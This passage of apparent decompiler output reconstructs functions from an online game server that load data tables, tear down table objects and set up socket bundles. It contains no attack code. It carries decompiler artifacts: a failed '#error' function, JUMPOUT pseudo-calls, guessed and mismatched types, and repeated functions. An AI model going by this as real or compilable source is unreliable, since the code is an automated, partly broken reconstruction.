"Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00579420) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x38u, 0xCu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005794D0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x67u, 0x28u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00579580) -------------------------------------------------------- void __cdecl std::fill(TickTimer *_First, TickTimer *_Last, TickTimer *_Val) { TickTimer *i; // eax@1 TickTimer *v4; // edi@2 for ( i = _First; i != _Last; *(_DWORD *)&v4->m_bEnable = *(_DWORD *)&_Val->m_bEnable ) { v4 = i; i->m_CurDelayTime = _Val->m_CurDelayTime; i->m_DelayTime = _Val->m_DelayTime; ++i; } } //----- (005795C0) -------------------------------------------------------- void __cdecl std::fill(GBReward *_First, GBReward *_Last, GBReward *_Val) { GBReward *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; ++v3; memcpy(v4, _Val, 0x28u); } } //----- (005795F0) -------------------------------------------------------- char __thiscall ListIteratorDefault::lid_Call(ListIteratorDefault *this, ORColumnHeader *ele, unsigned __int16 handle) { return 1; } //----- (00579600) -------------------------------------------------------- void __thiscall EventReserveContainer::_EventReserveContainer(EventReserveContainer *this) { EventReserveContainer *v1; // esi@1 void *v2; // eax@1 void *v3; // edi@2 void *v4; // esi@3 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)EventReserveContainer::_vftable_; v2 = this->erc_eventarr; if ( v2 ) { v3 = (char *)v2 - 4; _eh_vector_destructor_iterator_( v2, 0x10u, *((_DWORD *)v2 - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); operator delete__(v3); } v1->baseclass_0.vfptr = (ListVtbl *)EventReserveContainer::_vftable_; v4 = v1->baseclass_0.l_Array; if ( v4 ) operator delete__(v4); } // 67AF28: using guessed type int (__stdcall *EventReserveContainer___vftable_[3])(__int16 hnd); //----- (00579680) -------------------------------------------------------- #error "579680: undefined or illegal type '#593' (funcsize=124)" //----- (00579850) -------------------------------------------------------- char __thiscall EventReserveListElement::erle_Routine(EventReserveListElement *this, List *lst, unsigned __int16 handle) { EventReserveListElement *v3; // esi@1 unsigned int v4; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EventReserveListElement::erle_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EventReserveListElement::erle_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v3->erle_happened <= clockwatch.cw_CurrTick ) { (**(void (***)(void))v3->erle_event)(); v4 = v3->erle_repeat; if ( v4 ) v3->erle_happened += v4; else ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EventReserveListElement::erle_Routine"); return 1; } //----- (00579910) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, EventReserveListElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->erle_happened; *(_DWORD *)(v3 + 4) = ele->erle_event; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->erle_handle; *(_DWORD *)(v3 + 12) = ele->erle_repeat; return 1; } // 579925: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00579950) -------------------------------------------------------- void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv) { SocketBundle *v2; // esi@1 int v3; // eax@1 signed int v4; // ecx@1 v2 = this; _eh_vector_constructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::__unnamed, SocketBundle::__unnamed::___unnamed); v2->sb_Pointer.mask = 3; v2->sb_Pointer.value = 0; v2->sb_ReconnectInterval = recintv; v3 = (int)&v2->sb_SocketStr[0].varification; v4 = 4; do { *(_DWORD *)(v3 - 4) = 0; *(_BYTE *)v3 = 0; v3 += 264; --v4; } while ( v4 ); } //----- (005799B0) -------------------------------------------------------- void __thiscall SocketBundle::_SocketBundle(SocketBundle *this) { _eh_vector_destructor_iterator_(this->sb_SocketStr, 0x108u, 4, SocketBundle::__unnamed::___unnamed); } //----- (005799D0) -------------------------------------------------------- void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv) { SocketBundle *v2; // esi@1 int v3; // eax@1 signed int v4; // ecx@1 v2 = this; _eh_vector_constructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::__unnamed, SocketBundle::__unnamed::___unnamed); v2->sb_Pointer.mask = 3; v2->sb_Pointer.value = 0; v2->sb_ReconnectInterval = recintv; v3 = (int)&v2->sb_SocketStr[0].varification; v4 = 4; do { *(_DWORD *)(v3 - 4) = 0; *(_BYTE *)v3 = 0; v3 += 264; --v4; } while ( v4 ); } //----- (00579A30) -------------------------------------------------------- void __thiscall SocketBundle::_SocketBundle(SocketBundle *this) { _eh_vector_destructor_iterator_(this->sb_SocketStr, 0x108u, 4, SocketBundle::__unnamed::___unnamed); } //----- (00579A50) -------------------------------------------------------- void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv) { SocketBundle *v2; // esi@1 int v3; // eax@1 signed int v4; // ecx@1 v2 = this; _eh_vector_constructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::__unnamed, SocketBundle::__unnamed::___unnamed); v2->sb_Pointer.mask = 3; v2->sb_Pointer.value = 0; v2->sb_ReconnectInterval = recintv; v3 = (int)&v2->sb_SocketStr[0].varification; v4 = 4; do { *(_DWORD *)(v3 - 4) = 0; *(_BYTE *)v3 = 0; v3 += 264; --v4; } while ( v4 ); } //----- (00579AB0) -------------------------------------------------------- void __thiscall SocketBundle::_SocketBundle(SocketBundle *this) { _eh_vector_destructor_iterator_( this->sb_SocketStr, 0x108u, 4, SocketBundle::__unnamed::___unnamed); } //----- (00579AD0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 int v15; // eax@23 int v16; // eax@24 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { while ( 1 ) { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = (void *)&v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_131DE8B8, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (ChargedItemEffect *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( (unsigned int)v12 >= *(_DWORD *)word_131DE8B4 || (v13 = unk_131DF0C4 + 32 * v12) == 0 || !*(_DWORD *)v13 ) goto LABEL_23; v14 = **(_WORD **)v13; if ( v14 != v12 ) break; v15 = unk_131DF0C4 + 32 * v12; LABEL_24: v16 = *(_DWORD *)(*(_DWORD *)v15 + 102); if ( v16 != 28 && v16 != 31 && v16 != 32 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; if ( (signed int)v6 >= v4->cideb_Total ) return; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); LABEL_23: v15 = 0; goto LABEL_24; } } //----- (00579CA0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 int v15; // eax@23 int v16; // eax@24 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { while ( 1 ) { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = &v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_131DE8B8, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (MiniHouse *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( (unsigned int)v12 >= *(_DWORD *)word_131DE8B4 || (v13 = unk_131DF0C4 + 32 * v12) == 0 || !*(_DWORD *)v13 ) goto LABEL_23; v14 = **(_WORD **)v13; if ( v14 != v12 ) break; v15 = unk_131DF0C4 + 32 * v12; LABEL_24: v16 = *(_DWORD *)(*(_DWORD *)v15 + 102); if ( v16 != 28 && v16 != 31 && v16 != 32 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; if ( (signed int)v6 >= v4->cideb_Total ) return; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); LABEL_23: v15 = 0; goto LABEL_24; } } //----- (00579E90) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 int v15; // eax@23 int v16; // eax@24 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { while ( 1 ) { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = &v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_131DE8B8, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (MiniHouseFurniture *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( (unsigned int)v12 >= *(_DWORD *)word_131DE8B4 || (v13 = unk_131DF0C4 + 32 * v12) == 0 || !*(_DWORD *)v13 ) goto LABEL_23; v14 = **(_WORD **)v13; if ( v14 != v12 ) break; v15 = unk_131DF0C4 + 32 * v12; LABEL_24: v16 = *(_DWORD *)(*(_DWORD *)v15 + 102); if ( v16 != 28 && v16 != 31 && v16 != 32 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; if ( (signed int)v6 >= v4->cideb_Total ) return; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); LABEL_23: v15 = 0; goto LABEL_24; } } //----- (0057A080) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B098: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable____vftable_)(int __formal); //----- (0057A0E0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B0A4: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable____vftable_)(int __formal); //----- (0057A140) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B0B0: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable____vftable_)(int __formal); //----- (0057A1A0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B0BC: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable____vftable_)(int __formal); //----- (0057A200) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B0C8: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable____vftable_)(int __formal); //----- (0057A260) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B0D4: using guessed type int (__cdecl *ITableBase_GTIGetRate_GTIGetRateTable____vftable_)(int __formal); //----- (0057A2C0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B0E0: using guessed type int (__cdecl *ITableBase_GTIGetRateGap_GTIGetRateGapTable____vftable_)(int __formal); //----- (0057A320) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B0EC: using guessed type int (__cdecl *ITableBase_GTIServer_GTIServerTable____vftable_)(int __formal); //----- (0057A380) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B0F8: using guessed type int (__cdecl *ITableBase_GTIBreedSubject_GTIBreedSubjectTable____vftable_)(int __formal); //----- (0057A3E0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B104: using guessed type int (__cdecl *ITableBase_GTWinScore_GTWinScoreTable____vftable_)(int __formal); //----- (0057A440) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B110: using guessed type int (__cdecl *ITableBase_AccUpGradeInfo_AccUpGradeInfoTable____vftable_)(int __formal); //----- (0057A4A0) -------------------------------------------------------- bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, int ID) { return ID != -1; } //----- (0057A4B0) -------------------------------------------------------- bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this) { signed int v1; // ebp@1 IIDTableBase *v2; // esi@1 unsigned int v3; // edi@1 char *v4; // ebx@1 int v5; // eax@2 void *v6; // eax@4 int v7; // eax@4 void *v8; // eax@10 unsigned int v9; // edx@10 int v10; // edi@10 int i; // ecx@10 unsigned int j; // edi@13 int v13; // eax@14 void *v14; // eax@16 int v15; // ebp@16 bool result; // al@19 signed int iMostLargeID; // [sp+10h] [bp-4h]@1 v1 = -1; v2 = this; iMostLargeID = -1; v3 = 0; v4 = (char *)&this->baseclass_0.m_kDataReader; while ( 1 ) { v5 = *((_DWORD *)v4 + 12); if ( !v5 ) break; if ( v3 >= *(_DWORD *)(v5 + 40) ) break; v6 = CDataReader::GetRecord((CDataReader *)v4, v3); v7 = ((int (__thiscall *)(IIDTableBase *, void *))v2->baseclass_0.vfptr[1].BeforeTerminate)( v2, v6); if ( v7 > v1 ) { iMostLargeID = v7; v1 = v7; } ++v3; } if ( v1 < 0 ) { LABEL_19: result = 0; } else { if ( v2->m_pkRecordIDMap ) operator delete__(v2->m_pkRecordIDMap); v8 = operator new__(4 * v1 + 4); v2->m_pkRecordIDMap = (AccUpGradeInfo **)v8; v9 = 4 * v1 + 4; memset(v8, 0, 4 * (v9 >> 2)); v10 = (int)((char *)v8 + 4 * (v9 >> 2)); for ( i = v9 & 3; i; --i ) *(_BYTE *)v10++ = 0; for ( j = 0; ; ++j ) { v13 = *((_DWORD *)v4 + 12); if ( !v13 ) break; if ( j >= *(_DWORD *)(v13 + 40) ) break; v14 = CDataReader::GetRecord((CDataReader *)v4, j); v15 = ((int (__thiscall *)(IIDTableBase *, void *))v2->baseclass_0.vfptr[1].BeforeTerminate)( v2, v14); if ( v2->m_pkRecordIDMap[v15] ) { operator delete__(v2->m_pkRecordIDMap); v2->m_pkRecordIDMap = 0; goto LABEL_19; } v2->m_pkRecordIDMap[v15] = (AccUpGradeInfo *)CDataReader::GetRecord((CDataReader *)v4, j); v1 = iMostLargeID; } v2->m_tMostLargeID = v1; result = 1; } return result; } //----- (0057A5B0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B130: using guessed type int (__cdecl *ITableBase_AccUpgrade_AccUpGradeTable____vftable_)(int __formal); //----- (0057A610) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B13C: using guessed type int (__cdecl *ITableBase_ProdSucRate_ProdSucRateTable____vftable_)(int __formal); //----- (0057A670) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B148: using guessed type int (__cdecl *ITableBase_MysteryVaultServer_MysteryVaultTable____vftable_)(int __formal); //----- (0057A6D0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B154: using guessed type int (__cdecl *ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster____vftable_)(int __formal); //----- (0057A730) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B160: using guessed type int (__cdecl *ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player____vftable_)(int __formal); //----- (0057A790) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B16C: using guessed type int (__cdecl *ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player____vftable_)(int __formal); //----- (0057A7F0) -------------------------------------------------------- bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, char ID) { return ID != -1; } //----- (0057A800) -------------------------------------------------------- bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this) { IIDTableBase *v1; // esi@1 unsigned int v2; // edi@1 char *v3; // ebx@1 int v4; // eax@2 void *v5; // eax@4 signed int v6; // eax@4 bool result; // al@8 unsigned int v8; // ebp@11 void *v9; // eax@11 int v10; // edi@11 int i; // ecx@11 unsigned int j; // ebp@14 int v13; // eax@15 void *v14; // eax@17 int v15; // edi@17 signed int iMostLargeID; // [sp+4h] [bp-4h]@1 v1 = this; iMostLargeID = -1; v2 = 0; v3 = (char *)&this->baseclass_0.m_kDataReader; while ( 1 ) { v4 = *((_DWORD *)v3 + 12); if ( !v4 ) break; if ( v2 >= *(_DWORD *)(v4 + 40) ) break; v5 = CDataReader::GetRecord((CDataReader *)v3, v2); v6 = (unsigned __int8)((int (__thiscall *)(IIDTableBase *, void *))v1->baseclass_0.vfptr[1].BeforeTerminate)( v1, v5); if ( (unsigned __int8)v6 > iMostLargeID ) iMostLargeID = v6; ++v2; } if ( iMostLargeID >= 0 ) { if ( v1->m_pkRecordIDMap ) operator delete__(v1->m_pkRecordIDMap); v8 = 4 * iMostLargeID + 4; v9 = operator new__(4 * iMostLargeID + 4); v1->m_pkRecordIDMap = (DamageLvGapPVP **)v9; memset(v9, 0, 4 * (v8 >> 2)); v10 = (int)((char *)v9 + 4 * (v8 >> 2)); for ( i = v8 & 3; i; --i ) *(_BYTE *)v10++ = 0; for ( j = 0; ; ++j ) { v13 = *((_DWORD *)v3 + 12); if ( !v13 ) break; if ( j >= *(_DWORD *)(v13 + 40) ) break; v14 = CDataReader::GetRecord((CDataReader *)v3, j); v15 = (unsigned __int8)((int (__thiscall *)(IIDTableBase *, void *))v1->baseclass_0.vfptr[1].BeforeTerminate)( v1, v14); if ( v1->m_pkRecordIDMap[v15] ) { operator delete__(v1->m_pkRecordIDMap); v1->m_pkRecordIDMap = 0; return 0; } v1->m_pkRecordIDMap[v15] = (DamageLvGapPVP *)CDataReader::GetRecord((CDataReader *)v3, j); } v1->m_tMostLargeID = iMostLargeID; result = 1; } else { result = 0; } return result; } //----- (0057A910) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B18C: using guessed type int (__cdecl *ITableBase_PKQuestLVGap_PKQuestLVGapTable____vftable_)(int __formal); //----- (0057A970) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B198: using guessed type int (__cdecl *ITableBase_BelongDice_BelongDiceTable____vftable_)(int __formal); //----- (0057A9D0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B1A4: using guessed type int (__cdecl *ITableBase_ActionRangeFactor_ActionRangeFactors____vftable_)(int __formal); //----- (0057AA30) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 67B1B0: using guessed type int (__cdecl *ITableBase_ItemActionCondition_ItemActionConditions____vftable_)(int __formal); //----- (0057AA90) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr 